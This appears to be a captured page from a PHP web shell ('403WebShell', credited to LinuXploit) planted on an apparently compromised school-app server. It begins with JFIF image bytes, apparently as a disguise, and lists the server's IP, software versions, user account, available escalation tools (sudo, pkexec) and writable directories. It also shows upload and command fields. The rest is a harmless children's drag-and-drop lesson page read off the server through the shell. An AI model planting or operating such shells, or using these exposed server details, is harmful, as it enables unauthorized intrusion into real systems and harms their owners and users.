????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.141.33.133
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelA/Category2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/apps/school/www_old10/Html/LevelA/Category2/LevelACat2Lesson06.html
<!DOCTYPE html>
<html>
    <head>
        <title>Put pans on the mat</title>
        
        <script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
            
            <style type="text/css">

                .LeftAndRightPadding
                {
                    padding-left: 10%;
                    padding-right: 10%;
                    border: none;
                }
                
                canvas
                {
                    border:0px solid #d3d3d3;
                    position:absolute;
                    display:none;
                }
            </style>
            
            <script>
                function page_preLoad()
                {
					setPageImages();

                    s_setDeviceTypeLevelCategoryLastLesson(Level.A, Category.No2);
                    s_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
                    
                    s_setHeaderTable('id_tblHeader', s_title_page, s_getSubTitle(Level.A, Category.No2, 6), true, true);
                    s_setFooterTable('id_tblFooter', true, true, false, true, true);
                    
                    var ids_boxes = ['id_dropBox_for_pans1', 'id_dropBox_for_pans2', 'id_dropBox_for_pans3', 'id_dropBox_for_pans4', 'id_dropBox_for_pans5'];

                    var ids_options = ['id_img_pans1', 'id_img_pans2', 'id_img_pans3', 'id_img_pans4', 'id_img_pans5'];
                    var ids_headings = ['id_td_heading1'];

                    s_adjust_fontSize_for_ids_all_devices(ids_headings, 80);

                    s_init_dropBox_tds_withOUT_drag_here(ids_boxes);
                    s_init_dropping_spans(ids_options);
                    
                    var id_tables_array = ['id_table1'];
                    s_border_collapse_for_tables_except_android(id_tables_array);
                    
                    s_setTablesHeightsForIE();
                }
            
                function page_onLoad()
                {
                    for (suffix=1; suffix<=5; suffix++)
                    {
                        var elementPans = document.getElementById('id_img_pans' + suffix);
                        elementPans.isMoved = false;
                    }
                }
            
                function setPageImages()
                {
                    var imagesPath = '../../../img/LevelA/Category2/LevelACat2Lesson06/';
                    
                    setImageSource('id_img_mat_for_pans1', imagesPath, 'mat1.png');
                    setImageSource('id_img_pans1', imagesPath, 'pan1.png');
                    setImageSource('id_img_mat_for_pans2', imagesPath, 'mat2.png');
                    setImageSource('id_img_pans2', imagesPath, 'pan2.png');
                    setImageSource('id_img_mat_for_pans3', imagesPath, 'mat3.png');
                    setImageSource('id_img_pans3', imagesPath, 'pan3.png');
                    setImageSource('id_img_mat_for_pans4', imagesPath, 'mat4.png');
                    setImageSource('id_img_pans4', imagesPath, 'pan4.png');
                    setImageSource('id_img_mat_for_pans5', imagesPath, 'mat5.png');
                    setImageSource('id_img_pans5', imagesPath, 'pan5.png');
                }
                
                function setImageSource(id_image, imagesPath, imageName)
                {
                    var eImage = document.getElementById(id_image);
                    eImage.src = imagesPath + imageName;
                    
                    /*var deviceType = s_getDeviceType();
                    
                    //if (imageName == 'Mat.png')
                    //{
                        if (deviceType == s_DeviceTypeAndroidDeviceApp)
                        {
                            eImage.style.width = '90%';
                            eImage.style.height = '170%';
                        }
                        else
                        {
                            eImage.style.width = '50%';
                            eImage.style.height = 'auto';
                        }*/
                    //}
                }
                
                function btnPrevious_click()
                {
                    window.location = "LevelACat2Lesson05.html";
                }
                
                function btnNext_click()
                {
                    window.location = "LevelACat2Lesson07.html";
                }
                
                function btnHome_click()
                {
                    s_btnHomeCategories_click('LevelA');
                }
                
                function DragDrop(id_imgPans, id_img_mat_for_pans, id_dropBox_for_pans, ids_array)
                {
                    if (s_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox_for_pans, ids_array))
                    {
                        var eImgPans = document.getElementById(id_imgPans);

                        var eImgMatForPans = document.getElementById(id_img_mat_for_pans);
                        var eTdPosition = eImgMatForPans.getBoundingClientRect();

                        var xAddition = (eTdPosition.width - eImgPans.width) / 2.0;
                        var yAddition = (eTdPosition.height - eImgPans.height) / 2.0;

                        eImgPans.style.position = 'absolute';
                        eImgPans.style.left = eTdPosition.left + xAddition + 'px';
                        eImgPans.style.top = eTdPosition.top + yAddition + 'px';
                        eImgPans.width = eTdPosition.width - (2 * xAddition);
                        eImgPans.height = eTdPosition.height - (2 * yAddition);

                        eImgPans.isMoved = true;

                        var eTdMatForPans = document.getElementById(id_dropBox_for_pans);
                        eTdMatForPans.style.background = s_colorGreen;

                        isAllInfosMovedShowClapsAnimation();

                        s_set_currentDropingId_draggbleToFalse();
                    }
                    else
                    {
                        s_resetCurrentDroppingPosition(id_dropBox_for_pans);
                    }
                }
                
                function isAllInfosMovedShowClapsAnimation()
                {
                    if (isAllPansMoved())
                    {
                        var ids_boxes = ['id_dropBox_for_pans1', 'id_dropBox_for_pans2', 'id_dropBox_for_pans3', 'id_dropBox_for_pans4', 'id_dropBox_for_pans5'];

                        s_is_all_infos_filled_show_claps_animationWithIsFilled(ids_boxes);
                    }
                }
                
                function isAllPansMoved()
                {
                    for (suffix=1; suffix<=5; suffix++)
                    {
                        var elementPans = document.getElementById('id_img_pans' + suffix);
                        
                        if (elementPans.isMoved == false)
                        {
                            return (false);
                        }
                    }
                    
                    return (true);
                }
            
                function page_onResize()
                {
                    for (var suffix = 1; suffix <= 5; suffix++)
                    {
                        var elementPans = document.getElementById('id_img_pans' + suffix);
                        
                        if (elementPans.isMoved == true)
                        {
                            var eImgPans = document.getElementById('id_img_pans' + suffix);
                            
                            var eImgMatForPans = document.getElementById('id_img_mat_for_pans' + suffix);
                            var eTdPosition = eImgMatForPans.getBoundingClientRect();
                            
                            var xAddition = (eTdPosition.width - eImgPans.width) / 2.0;
                            var yAddition = (eTdPosition.height - eImgPans.height) / 2.0;
                            
                            eImgPans.style.position = 'absolute';
                            eImgPans.style.left = eTdPosition.left + xAddition + 'px';
                            eImgPans.style.top = eTdPosition.top + yAddition + 'px';
                            eImgPans.width = eTdPosition.width - (2 * xAddition);
                            eImgPans.height = eTdPosition.height - (2 * yAddition);
                        }
                    }
                }
            
            </script>
        </head>
    <body onload="page_onLoad()" onResize="page_onResize()">
        <div id="s_id_div_message"></div>
        
        <table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
            <tr height="8%">
                <td>
                    <div id="id_tblHeader"></div>
                </td>
            </tr>
            <tr height="*" hieghtForIE="84%" data-role="page"> <!-- for swiping left and right especially for Android device -->
                <td>
                    <table width="100%" height="100%" border="0px" cellspacing="0" cellpadding="2%">
                        <tr height="50%">
                            <td align="center">
                                <table id="id_table1" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
                                    <tr height="*" hieghtForIE="5%">
                                        <td  id="id_td_heading1" class="s_style_heading" style="padding-left: 2%; border-bottom: none"><span>Read the numbers on the </span> <span class="s_style_textRed_color_only">mat</span> and match with number on  <span class="s_style_textRed_color_only">pan</span> (Drag picture from right to left):
                                        </td>
                                    </tr>
                                    <tr height="18%">
                                        <td style="border-bottom:none">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr hieghtForIE="80%">
                                                    <td id="id_dropBox_for_pans1" width="55%" align="center" class="LeftAndRightPadding"
                                                        ondragover="s_highlight('id_dropBox_for_pans1'); s_allowDrop_web(event)"
                                                        ondragleave="s_un_highlight('id_dropBox_for_pans1')"
                                                        ondrop="DragDrop('id_img_pans1', 'id_img_mat_for_pans1', 'id_dropBox_for_pans1', ['id_img_pans1'])">
                                                        <img id="id_img_mat_for_pans1" class="cls_MatForPan1" width="80%" draggable="false">
                                                    </td>
                                                    <td id="id_td_Pans3" width="*" align="center" style="border: none"  draggable="true" ondragstart="s_dragStartNew(event)">
                                                        <img id="id_img_pans3" width="50%" isMoved=false>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr height="18%">
                                        <td style="border-bottom:none">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td id="id_dropBox_for_pans2" width="55%" align="center" class="LeftAndRightPadding"
                                                        ondragover="s_highlight('id_dropBox_for_pans2'); s_allowDrop_web(event)"
                                                        ondragleave="s_un_highlight('id_dropBox_for_pans2')"
                                                        ondrop="DragDrop('id_img_pans2', 'id_img_mat_for_pans2', 'id_dropBox_for_pans2', ['id_img_pans2'])">
                                                        <img id="id_img_mat_for_pans2" class="cls_MatForPans2" width="80%" draggable="false">
                                                    </td>
                                                    <td width="*" id="id_td_Pans4" align="center" style="border: none" draggable="true" ondragstart="s_dragStartNew(event)">
                                                        <img id="id_img_pans4" width="50%" isMoved=false>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr height="18%">
                                        <td>
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td id="id_dropBox_for_pans3" width="55%" align="center" class="LeftAndRightPadding"
                                                        ondragover="s_highlight('id_dropBox_for_pans3'); s_allowDrop_web(event)"
                                                        ondragleave="s_un_highlight('id_dropBox_for_pans3')"
                                                        ondrop="DragDrop('id_img_pans3', 'id_img_mat_for_pans3', 'id_dropBox_for_pans3', ['id_img_pans3'])">
                                                        <img id="id_img_mat_for_pans3" class="cls_MatForPans3" width="80%" draggable="false">
                                                    </td>
                                                    <td width="*" id="id_td_Pans1" align="center" style="border: none" draggable="true" ondragstart="s_dragStartNew(event)">
                                                        <img  id="id_img_pans1" width="50%" isMoved=false>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr height="18%">
                                        <td style="border-bottom:none">
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td id="id_dropBox_for_pans4" width="55%" align="center" class="LeftAndRightPadding"
                                                        ondragover="s_highlight('id_dropBox_for_pans4'); s_allowDrop_web(event)"
                                                        ondragleave="s_un_highlight('id_dropBox_for_pans4')"
                                                        ondrop="DragDrop('id_img_pans4', 'id_img_mat_for_pans4', 'id_dropBox_for_pans4', ['id_img_pans4'])">
                                                        <img id="id_img_mat_for_pans4" class="cls_MatForPans4" width="80%" draggable="false">
                                                    </td>
                                                    <td width="*" id="id_td_Pans5" align="center" style="border: none" draggable="true" ondragstart="s_dragStartNew(event)">
                                                        <img id="id_img_pans5" width="50%" isMoved=false>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                    <tr height="18%">
                                        <td>
                                            <table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
                                                <tr>
                                                    <td id="id_dropBox_for_pans5" width="55%" align="center" class="LeftAndRightPadding"
                                                        ondragover="s_highlight('id_dropBox_for_pans5'); s_allowDrop_web(event)"
                                                        ondragleave="s_un_highlight('id_dropBox_for_pans5')"
                                                        ondrop="DragDrop('id_img_pans5', 'id_img_mat_for_pans5', 'id_dropBox_for_pans5', ['id_img_pans5'])">
                                                        <img id="id_img_mat_for_pans5" class="cls_MatForPans5" width="80%" draggable="false">
                                                    </td>
                                                    <td width="*" id="id_td_Pans2" align="center" style="border: none" draggable="true" ondragstart="s_dragStartNew(event)">
                                                        <img id="id_img_pans2" width="50%" isMoved=false>
                                                    </td>
                                                </tr>
                                            </table>
                                        </td>
                                    </tr>
                                </table>
                            </td>
                        </tr>
                    </table>
                </td>
            </tr>
            <tr height="8%">
                <td>
                    <div id="id_tblFooter"></div>
                </td>
            </tr>
        </table>

        <script>
            page_preLoad();

            new webkit_draggable('id_img_pans1', {handle : 'id_td_Pans1', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
            new webkit_draggable('id_img_pans2', {handle : 'id_td_Pans2', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
            new webkit_draggable('id_img_pans3', {handle : 'id_td_Pans3', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
            new webkit_draggable('id_img_pans4', {handle : 'id_td_Pans4', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
            new webkit_draggable('id_img_pans5', {handle : 'id_td_Pans5', revert : true, scroll : false, onStart : function(){s_dragStartNew(event)}});
            
            webkit_drop.add('id_dropBox_for_pans1', {onOver : function(){s_highlight('id_dropBox_for_pans1')}, onOut : function(){s_un_highlight('id_dropBox_for_pans1')}, onDrop : function(){DragDrop('id_img_pans1', 'id_img_mat_for_pans1', 'id_dropBox_for_pans1', ['id_img_pans1'])}});
            webkit_drop.add('id_dropBox_for_pans2', {onOver : function(){s_highlight('id_dropBox_for_pans2')}, onOut : function(){s_un_highlight('id_dropBox_for_pans2')}, onDrop : function(){DragDrop('id_img_pans2', 'id_img_mat_for_pans2', 'id_dropBox_for_pans2', ['id_img_pans2'])}});
            webkit_drop.add('id_dropBox_for_pans3', {onOver : function(){s_highlight('id_dropBox_for_pans3')}, onOut : function(){s_un_highlight('id_dropBox_for_pans3')}, onDrop : function(){DragDrop('id_img_pans3', 'id_img_mat_for_pans3', 'id_dropBox_for_pans3', ['id_img_pans3'])}});
            webkit_drop.add('id_dropBox_for_pans4', {onOver : function(){s_highlight('id_dropBox_for_pans4')}, onOut : function(){s_un_highlight('id_dropBox_for_pans4')}, onDrop : function(){DragDrop('id_img_pans4', 'id_img_mat_for_pans4', 'id_dropBox_for_pans4', ['id_img_pans4'])}});
            webkit_drop.add('id_dropBox_for_pans5', {onOver : function(){s_highlight('id_dropBox_for_pans5')}, onOut : function(){s_un_highlight('id_dropBox_for_pans5')}, onDrop : function(){DragDrop('id_img_pans5', 'id_img_mat_for_pans5', 'id_dropBox_for_pans5', ['id_img_pans5'])}});

        </script>
    </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit